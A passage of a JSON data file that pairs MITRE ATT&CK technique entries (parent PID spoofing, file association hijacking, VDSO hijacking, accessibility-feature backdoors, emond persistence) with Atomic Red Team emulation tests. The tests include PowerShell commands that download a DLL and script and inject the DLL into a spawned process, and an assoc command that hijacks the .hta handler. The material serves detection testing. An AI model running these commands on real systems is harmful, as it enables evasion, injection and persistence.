- "identifier": "T1134.004"
- },
- "atomic_tests": [
- {
- "name": "Parent PID Spoofing using PowerShell",
- "auto_generated_guid": "069258f4-2162-46e9-9a25-c9c6c56150d2",
- "description": "This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.\nUpon execution, \"Process C:\\Program Files\\Internet Explorer\\iexplore.exe is spawned with pid ####\" will be displayed and\ncalc.exe will be launched.\n\nCredit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "parent_process_name": {
- "description": "Name of the parent process",
- "type": "string",
- "default": "explorer"
- },
- "spawnto_process_path": {
- "description": "Path of the process to spawn",
- "type": "path",
- "default": "C:\\Program Files\\Internet Explorer\\iexplore.exe"
- },
- "dll_process_name": {
- "description": "Name of the created process from the injected dll",
- "type": "string",
- "default": "calculator"
- },
- "dll_path": {
- "description": "Path of the dll to inject",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1134.004\\bin\\calc.dll"
- },
- "spawnto_process_name": {
- "description": "Name of the process to spawn",
- "type": "string",
- "default": "iexplore"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL to inject must exist on disk at specified location (#{dll_path})\n",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll\" -OutFile \"#{dll_path}\"\n"
- },
- {
- "description": "PPID.ps1 must exist on disk at $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n",
- "prereq_command": "if (Test-Path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1\" -OutFile $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n"
- }
- ],
- "executor": {
- "command": ". $PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n",
- "cleanup_command": "Stop-Process -Name \"#{dll_process_name}\" -ErrorAction Ignore\nStop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from Current Process",
- "auto_generated_guid": "14920ebd-1d61-491a-85e0-fe98efe37f25",
- "description": "Spawns a powershell.exe process as a child of the current process.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "File path or name of process to spawn",
- "type": "path",
- "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
- },
- "parent_pid": {
- "description": "PID of process to spawn from",
- "type": "string",
- "default": "$PID"
- },
- "command_line": {
- "description": "Specified command line to use",
- "type": "string",
- "default": "-Command Start-Sleep 10"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid}",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from Specified Process",
- "auto_generated_guid": "cbbff285-9051-444a-9d17-c07cd2d230eb",
- "description": "Spawns a notepad.exe process as a child of the current process.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "parent_pid": {
- "description": "PID of process to spawn from",
- "type": "string",
- "default": "$PID"
- },
- "test_guid": {
- "description": "Defined test GUID",
- "type": "string",
- "default": "12345678-1234-1234-1234-123456789123"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from svchost.exe",
- "auto_generated_guid": "e9f2b777-3123-430b-805d-5cedc66ab591",
- "description": "Spawnd a process as a child of the first accessible svchost.exe process.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_line": {
- "description": "Specified command line to use",
- "type": "string",
- "default": "-Command Start-Sleep 10"
- },
- "file_path": {
- "description": "File path or name of process to spawn",
- "type": "path",
- "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from New Process",
- "auto_generated_guid": "2988133e-561c-4e42-a15f-6281e6a9b2db",
- "description": "Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_line": {
- "description": "Specified command line to use",
- "type": "string",
- "default": "-Command Start-Sleep 10"
- },
- "file_path": {
- "description": "File path or name of process to spawn",
- "type": "path",
- "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
- },
- "parent_name": {
- "description": "Parent process to spoof from",
- "type": "path",
- "default": "$Env:windir\\System32\\notepad.exe"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
- "name": "powershell"
- }
- }
- ]
- },
- "T1546.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
- "created": "2020-01-24T13:40:47.282Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.001",
- "url": "https://attack.mitre.org/techniques/T1546/001"
- },
- {
- "source_name": "Microsoft Change Default Programs",
- "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
- "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016."
- },
- {
- "source_name": "Microsoft File Handlers",
- "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
- "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014."
- },
- {
- "source_name": "Microsoft Assoc Oct 2017",
- "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
- "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018."
- },
- {
- "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd",
- "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/556.html",
- "source_name": "capec",
- "external_id": "CAPEC-556"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension]
, for example HKEY_CLASSES_ROOT\\.txt
. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]
. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command
. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command
\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command
\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command
\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
- "modified": "2022-04-20T16:55:49.219Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Change Default File Association",
- "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts
and override associations configured under [HKEY_CLASSES_ROOT]
. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.001"
- },
- "atomic_tests": [
- {
- "name": "Change Default File Association",
- "auto_generated_guid": "10a08978-2045-4d62-8c42-1957bbbea102",
- "description": "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon successful execution, cmd.exe will change the file association of .hta to notepad.exe. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_extension_handler": {
- "description": "txtfile maps to notepad.exe",
- "type": "path",
- "default": "txtfile"
- },
- "extension_to_change": {
- "description": "File Extension To Hijack",
- "type": "string",
- "default": ".hta"
- },
- "original_extension_handler": {
- "description": "File Extension To Revert",
- "type": "string",
- "default": "htafile"
- }
- },
- "executor": {
- "command": "assoc #{extension_to_change}=#{target_extension_handler}\n",
- "cleanup_command": "assoc #{extension_to_change}=#{original_extension_handler}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1055.014": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5",
- "type": "attack-pattern",
- "created": "2020-01-14T01:35:00.781Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.014",
- "url": "https://attack.mitre.org/techniques/T1055/014"
- },
- {
- "source_name": "ELF Injection May 2009",
- "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html",
- "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."
- },
- {
- "source_name": "Backtrace VDSO",
- "url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/",
- "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020."
- },
- {
- "source_name": "VDSO Aug 2005",
- "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/",
- "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020."
- },
- {
- "source_name": "Syscall 2014",
- "url": "https://lwn.net/Articles/604515/",
- "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020."
- },
- {
- "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
- "source_name": "ArtOfMemoryForensics"
- },
- {
- "url": "https://www.gnu.org/software/acct/",
- "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
- "source_name": "GNU Acct"
- },
- {
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
- "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
- "source_name": "RHEL auditd"
- },
- {
- "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
- "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
- "source_name": "Chokepoint preload rootkits"
- }
- ],
- "modified": "2022-02-24T15:21:39.761Z",
- "name": "VDSO Hijacking",
- "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Module: Module Load"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1015": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Paul Speulstra, AECOM Global Security Operations Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:26.946Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1015",
- "url": "https://attack.mitre.org/techniques/T1015"
- },
- {
- "external_id": "CAPEC-558",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/558.html"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
- "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
- "source_name": "FireEye Hikit Rootkit"
- },
- {
- "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
- "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
- "source_name": "DEFCON2016 Sticky Keys"
- },
- {
- "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
- "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
- "source_name": "Tilbury 2014"
- }
- ],
- "modified": "2020-05-13T20:37:30.008Z",
- "name": "Accessibility Features",
- "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe
, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe
, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\
, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe
) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe
\n* Magnifier: C:\\Windows\\System32\\Magnify.exe
\n* Narrator: C:\\Windows\\System32\\Narrator.exe
\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe
\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe
",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options
.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1546.014": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ivan Sinyakov"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
- "created": "2020-01-24T15:15:13.426Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.014",
- "url": "https://attack.mitre.org/techniques/T1546/014"
- },
- {
- "source_name": "magnusviri emond Apr 2016",
- "url": "http://www.magnusviri.com/Mac/what-is-emond.html",
- "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."
- },
- {
- "source_name": "xorrior emond Jan 2018",
- "url": "https://www.xorrior.com/emond-persistence/",
- "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond
will load any rules from the /etc/emond.d/rules/
directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients
, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist
.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
- "modified": "2022-04-20T00:16:01.732Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Emond",
- "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/
and /private/var/db/emondClients
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.014"
- },
- "atomic_tests": []
- },
- "T1502": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wayne Silva, F-Secure Countercept"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142",
- "type": "attack-pattern",
- "created": "2019-06-03T14:50:50.613Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1502",
- "url": "https://attack.mitre.org/techniques/T1502"
- },
- {
- "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
- "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
- "source_name": "DidierStevens SelectMyParent Nov 2009"
- },
- {
- "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
- "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
- "source_name": "Microsoft UAC Nov 2018"
- },
- {
- "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
- "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
- "source_name": "CounterCept PPID Spoofing Dec 2018"
- },
- {
- "source_name": "CTD PPID Spoofing Macro Mar 2019",
- "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
- "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."
- },
- {
- "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
- "url": "https://blog.xpnsec.com/becoming-system/",
- "source_name": "XPNSec PPID Nov 2017"
- },
- {
- "source_name": "Microsoft Process Creation Flags May 2018",
- "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
- "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."
- },
- {
- "source_name": "Secuirtyinbits Ataware3 May 2019",
- "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3",
- "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."
- }
- ],
- "modified": "2020-02-18T18:23:31.546Z",
- "name": "Parent PID Spoofing",
- "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess
API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe
or consent.exe
) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe
rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe
), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- },
- {
- "phase_name": "privilege-escalation",
- "kill_chain_name": "mitre-attack"
- }
- ],
